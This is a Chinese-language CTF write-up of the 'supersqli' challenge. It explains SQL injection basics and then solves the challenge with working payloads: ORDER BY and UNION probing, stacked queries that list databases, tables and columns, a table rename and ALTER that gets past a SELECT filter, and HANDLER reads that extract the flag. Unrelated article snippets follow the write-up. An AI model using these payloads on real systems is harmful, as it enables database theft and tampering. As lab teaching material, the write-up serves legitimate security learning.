当前位置: 首页 > news >正文

supersqli(SQL注入流程及常用SQL语句)

目录

一、SQL注入知识学习

1、判断注入类型

(1)数字型注入判断

(2)字符型注入判断

2、猜解sql查询语句中的字段数(order by 的使用)

3、判断显示位爆数据库的名字

4、注释(--+的使用)

5、堆叠注入

6、handler语句及用法

二、基于上述知识对此题的分析与解答

1、基本分析(注入点、注入类型等)

2、判断列数

3、利用or 1=1暴露表中数据

4、尝试联合查询

5、尝试堆叠注入

(1)看数据库

(2)查表名

(3)查询表中的列

6、处理被过滤

7、handler的使用

8、hackbar的使用


一、SQL注入知识学习

1、判断注入类型

数字型或者字符型,字符型的变量使用了引号,而数字型没有。

(1)数字型注入判断

常用语句:

1 and 1=1        

1 and 1=2     

假设注入类型为数字型,注入点为id,分别输入上面的语句,那么第一行测试语句会返回id为1的查询结果,而第二行语句由于条件and 1=2不成立,所以查询结果为空。如果注入类型为字符型,将上面语句拼接到sql中,由于id的值都不匹配,所以应该是都不返回任何结果,但是如果id本身是int类型,实际查询过程中是会返回结果的,这可能是因为对输入的字符进行了截断并转换了类型,造成1 and 1=2在字符类型中会返回id为1的查询结果。当然如果第二个语句返回了结果,我们也可以以此判断出该注入类型是字符型。

若两次返回结果一样,则为字符型注入。

(2)字符型注入判断

1' and '1'='1 

1' and '1'='2

对于字符型注入判断,我们也可以这样进行操作,如上面的两条注入语句所示,如果是在数字型注入中,由于变量没有加引号,所以拼接后sql语法错误,直接报错,这和不回显信息是有区别。因此如果上面的语句注入后提示sql语法错误,那么我们可以直接判断测试对象为数字型注入。而对于字符型注入,第一行语句输入后和原本的引号前后完全闭合,且逻辑成立,所以回显出id为1的数据;第二行语句输入后,前后引号也完全闭合,但逻辑不成立,所以返回结果为空。

逻辑成立正常回显,逻辑不成立返回为空,类型错误直接报错

2、猜解sql查询语句中的字段数(order by 的使用)

使用order by判断当前表的字段个数

例:?id=1 order by n --+

若n超过当前表的列数,就会报错,说明表中只有n-1列

假设为字符型注入,先利用1'实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
......

当然也可以采用1' or 1=1 union select 1, 2, 3 #的方式
 

3、判断显示位爆数据库的名字

判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:

?id=-1' union select 1,2,3 --+

观察页面在哪里回显我们的输入,就可以用那个地方测试接下的语句

爆数据库的名字:
?id=1' union select 1,database(),3 --+

在之前回显2的地方会回显database数据库的名字

4、注释(--+的使用)

当输入参数为字符串时,称为字符型注入,它与数字型的区别:数字型不需要单引号来闭合,而字符串需要单引号来闭合。

例:https://blog.csdn.net/aboutus.php?id=1’

此时后台语句:$sql="SELECT 123 FROM abc WHERE id='1''"

此时多出了一个单引号,破坏了原本的SQL语句结构,数据库无法处理,于是会报错,证明这条语句成功被带进数据库查询,存在字符型注入。

此时通过 --+把后面的单引号注释掉,SQL语句也会形成闭合。

所以我们可以这样:

?id = 1' 攻击语句 --+

传入页面就变成了

select user from database where id = '1'攻击语句 – '

–+起注释作用,将后面的语句注释掉,在url中+相当于空格,–是注释符号,单行注释,之所以要加+号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开。

5、堆叠注入

 在SQL中,分号(;)是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句,就成了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间的区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制。

可注入条件:

目标存在sql注入漏洞;
目标未对";"号进行过滤;
目标中间层查询数据库信息时可同时执行多条sql语句。

6、handler语句及用法

handler是mysql的专用语句,没有包含到SQL标准中,但它每次只能查询1次记录,而select可以根据需要返回多条查询结果。

hander `表名` open;           // 打开一个表

handler`表名`read frist;      // 查询第一个数据

handler`表名`read next;     // 查询之后的数据直到最后一个数据返回空

二、基于上述知识对此题的分析与解答

注:以下sql语句都是直接在查询框中使用,并不是直接加在URL后面或者用在其地方。

1、基本分析(注入点、注入类型等)

打开链接,有一个提交查询框,以及题目的提示,这就是考的SQL注入

  默认框里面有一个1,我们直接查询,输入1,页面正常返回,从返回中我们得到注入点是inject。


输入1'页面报错了

加上注释符号#或者--+或者%23(注释掉后面语句,使1后面的单引号与前面的单引号成功匹配就不会报错)页面回显正常,那么闭合符号就是单引号。

我们再来判断注入类型

1 and 1=1        1 and 1=2   

 查询1 and 1=1 和1 and 1=2,发现两次提交后页面一样,可以判断出为字符型注入漏洞;

1' and '1'='1 

1' and '1'='2

两次都没有报错,且第二次返回结果为空,说明是字符型注入。

2、判断列数

1' order by 2#     // 回显正常


1' order by 3#     // 会报错

 

3、利用or 1=1暴露表中数据

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #

(同样在3的时候会报错,说明只有两列)

4、尝试联合查询

1' union select 1,2#

发现过滤了很多函数 ,select不能用

5、尝试堆叠注入

(即在;后继续加sql语句)

(1)看数据库

1'; show databases;#

(2)查表名

1'; show tables;#

(3)查询表中的列

-1'; show columns from `words`;#

 -1'; show columns from `1919810931114514`;#

 这里查询表中的列,表名需要使用反单引号引起来,在windows系统下,反单引号(`)是数据库、表、索引、列和别名的引用符。

6、处理被过滤

但问题来了,虽然我们已经找到flag了,但是select被过滤了,而show命令又不能查看值。但过滤中并没有alert 和 rename,我们已经知道了words是用来回显内容的,我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容。1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) ;show columns from words;#

用1'or '1'='1访问,即可得到flag

7、handler的使用

后面改表名的步骤也可替换为用handler语句去解决,即:

1';
handler`1919810931114514`open as`a`;
handler`a`read next;

当然不改表名也是可以的,我们打开有flag的这个表并查询它,即:

1';
handler`1919810931114514` open;
handler`1919810931114514`read next;

(一定要先打开这个表,直接查询是不行的,handler`1919810931114514` open;不能省掉)

8、hackbar的使用

除了在查询框中执行这些sql语句,我们也可以使用hackbar来实现:

load URL后,在框里编写好我们的sql语句,点击Execute即可。

 

相关文章:

supersqli(SQL注入流程及常用SQL语句)

目录 一、SQL注入知识学习 1、判断注入类型 (1)数字型注入判断 (2)字符型注入判断 2、猜解sql查询语句中的字段数(order by 的使用) 3、判断显示位爆数据库的名字 4、注释(--的使用&#…...

【数据结构】用Java实现一棵二叉树

目录 前言 1. 创建MyBinaryTree类 2. 从前序与中序遍历序列构造二叉树 3. 从中序与后序遍历序列构造二叉树 4. 用层序遍历验证二叉树是否构建成功 5. 整体代码(构建二叉树、二叉树的基本功能和测试代码) 6. 测试结果 前言 前面两篇文章已经给出了…...

【面试】面试官问的几率较大的网络安全面试题

文章目录防范常见的 Web 攻击1、什么是SQL注入攻击2、什么是XSS攻击3、什么是CSRF攻击4、什么是文件上传漏洞5、DDos 攻击重要协议分布图1、arp协议的工作原理ARP协议工作原理:2、什么是RARP?工作原理3、dns是什么?dns的工作原理4、rip协议是…...

[Python] 循环语句

循环语句就是在符合条件的情况下,重复执行一个代码段 1.while循环 while语句可用于在条件为真时反复执行代码块 语法格式 while 条件语句:执行语句 当条件语句为真(True)时,就会执行while循环下的语句 示例 实现1到100 的累加并输出求和结果 …...

计算机网络考试复习——第一章 1.5 1.6

1.5 计算机网络的类别 1.5.1计算机网络的定义: 系统集合,连接起来,协议工作,资源共享 计算机网络主要是由一些通用的、可编程的硬件互连而成的,而这些硬件并非专门用来实现某一特定目的(例如&#xff0…...

3.29 最小生成树算法

最小生成树概念 参考:什么是最小生成树? Minimum Spanning Tree 何为生成树? 生成树是指一个联通图的极小的连通子图,它包含了图中的所有n个顶点,并只有n-1条边(构成一棵树) 生成树的一些性…...

计算机科班与培训开发编程的区别在哪里?

科班、培训班、科班培训班的模式都培养了很多编程技术人员进入IT行业,有的成为某个技术领域的专家,有的成为领导层,有的一直在默默无闻的敲代码等待35岁的到来。不管那种方式入行,这些类似的情况都存在,并且未来还会一…...

idea设置常用自设置快捷键及坐标

<!--mybatis 依赖--> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.5</version> </dependency…...

Vue 3.0 实例方法

#$watch 参数&#xff1a;{string | Function} source{Function | Object} callback{Object} [options] {boolean} deep{boolean} immediate{string} flush返回&#xff1a;{Function} unwatch用法&#xff1a; 侦听组件实例上的响应式 property 或函数计算结果的变化。回调函数…...

日撸 Java 三百行day1-10

文章目录说明day1 环境搭建1.1 开发环境1.2 package import 和 println1.3 编写HelloWorld.javaday2 基本算术操作2.1 加、减、乘、除、整除、取余.day3 基本if 语句3.1 if条件分支语句3.2 代码day4 闰年的计算4.1 思路整理&#xff1a;何为闰年&#xff1f;4.2 核心代码day5 基…...

Ubuntu Instant-ngp 训练自有数据集

1. 运行环境配置 conda create -n instant-ngp python3.10 conda activate instant-ngp pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple2. COLMAP稀疏重建生成transform.json colmap 环境配置参考文档&#xff1b; 终端定位在instant-ngp/da…...

k8s集群只一台节点,重启节点后命名空间找不到了

定位 如果您的Kubernetes集群只有一台节点&#xff0c;并且在重启节点之前您创建了一些命名空间和资源&#xff0c;那么在节点重启后&#xff0c;这些命名空间和资源可能会丢失。这是因为在Kubernetes中&#xff0c;资源和命名空间通常是存储在etcd中的。当节点重启时&#xf…...

MarkDown示例

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题&#xff0c;有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注…...

spring cloud 雪崩效应

什么是雪崩效应 雪崩就是塌方。在山坡上的积雪&#xff0c;如果积雪的内聚力小于重力或其他力量&#xff0c;则积雪便向下滑动&#xff0c;从而逐渐引起积雪的崩塌。 在微服务架构中&#xff0c;服务之间通常存在级联调用。比如&#xff0c;服务A调用服务B&#xff0c;而服…...

Python 自动化指南(繁琐工作自动化)第二版:三、函数

原文&#xff1a;https://automatetheboringstuff.com/2e/chapter3/ 您已经熟悉了前几章中的print()、input()和len()函数。Python 提供了几个这样的内置函数&#xff0c;但是您也可以编写自己的函数。函数就像一个程序中的一个小程序。 为了更好地理解函数是如何工作的&#…...

c++多线程 1

https://www.runoob.com/cplusplus/cpp-multithreading.html 两种类型的多任务处理&#xff1a;基于进程和基于线程。 基于进程的多任务处理是程序的并发执行。 基于线程的多任务处理是同一程序的片段的并发执行。 线程 c11以后有了 标准库 1 函数 2 类成员函数 3 lambda函…...

STM32F103制作FlashDriver

文章目录前言芯片内存定义实现过程FlashDriver生成段定义擦除函数写入函数编译后的map手动测试HexView提取指定地址内容并重映射总结前言 在汽车行业控制器软件刷新流程中&#xff0c;一般会将Flash驱动单独进行刷写&#xff0c;目的是防止程序中一直存在Flash驱动的话&#x…...

springboot树形结构接口, 懒加载实现

数据库关系有父子id的, 作为菜单栏展示时需要用前端需要用到懒加载, 所谓懒加载就是接口有一个标志位isLeaf, 前端请求后通过该字段判断该节点是否还有子节点数据 创建数据库表 t_company_info结构有id和parentId标识, 用来表示父子关系 /*Navicat Premium Data TransferSourc…...

java企业级信息系统开发学习笔记02初探spring——利用组件注解符精简spring配置文件

文章目录一、学习目标二、打开01的项目三、利用组件注解符精简spring配置文件&#xff08;一&#xff09;创建新包&#xff0c;复制四个类&#xff08;二&#xff09;修改杀龙任务类&#xff08;三&#xff09;修改救美任务类&#xff08;四&#xff09;修改勇敢骑士类&#xf…...

用Python发送电子邮件?这也太丝滑了吧(21)

小朋友们好&#xff0c;大朋友们好&#xff01; 我是猫妹&#xff0c;一名爱上Python编程的小学生。 欢迎和猫妹一起&#xff0c;趣味学Python。 今日主题 猫爸赚钱养家&#xff0c;细想起来真的不容易啊&#xff01; 起早贪黑&#xff0c;都是6点早起做早饭&#xff0c;送…...

JavaSec-RCE

简介 RCE(Remote Code Execution)&#xff0c;可以分为:命令注入(Command Injection)、代码注入(Code Injection) 代码注入 1.漏洞场景&#xff1a;Groovy代码注入 Groovy是一种基于JVM的动态语言&#xff0c;语法简洁&#xff0c;支持闭包、动态类型和Java互操作性&#xff0c…...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

oracle与MySQL数据库之间数据同步的技术要点

Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异&#xff0c;它们的数据同步要求既要保持数据的准确性和一致性&#xff0c;又要处理好性能问题。以下是一些主要的技术要点&#xff1a; 数据结构差异 数据类型差异&#xff…...

HBuilderX安装(uni-app和小程序开发)

下载HBuilderX 访问官方网站&#xff1a;https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本&#xff1a; Windows版&#xff08;推荐下载标准版&#xff09; Windows系统安装步骤 运行安装程序&#xff1a; 双击下载的.exe安装文件 如果出现安全提示&…...

深度学习习题2

1.如果增加神经网络的宽度&#xff0c;精确度会增加到一个特定阈值后&#xff0c;便开始降低。造成这一现象的可能原因是什么&#xff1f; A、即使增加卷积核的数量&#xff0c;只有少部分的核会被用作预测 B、当卷积核数量增加时&#xff0c;神经网络的预测能力会降低 C、当卷…...

C++使用 new 来创建动态数组

问题&#xff1a; 不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...

QT3D学习笔记——圆台、圆锥

类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体&#xff08;对象或容器&#xff09;QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质&#xff08;定义颜色、反光等&#xff09;QFirstPersonC…...

PHP 8.5 即将发布:管道操作符、强力调试

前不久&#xff0c;PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5&#xff01;作为 PHP 语言的又一次重要迭代&#xff0c;PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是&#xff0c;借助强大的本地开发环境 ServBay&am…...

【堆垛策略】设计方法

堆垛策略的设计是积木堆叠系统的核心&#xff0c;直接影响堆叠的稳定性、效率和容错能力。以下是分层次的堆垛策略设计方法&#xff0c;涵盖基础规则、优化算法和容错机制&#xff1a; 1. 基础堆垛规则 (1) 物理稳定性优先 重心原则&#xff1a; 大尺寸/重量积木在下&#xf…...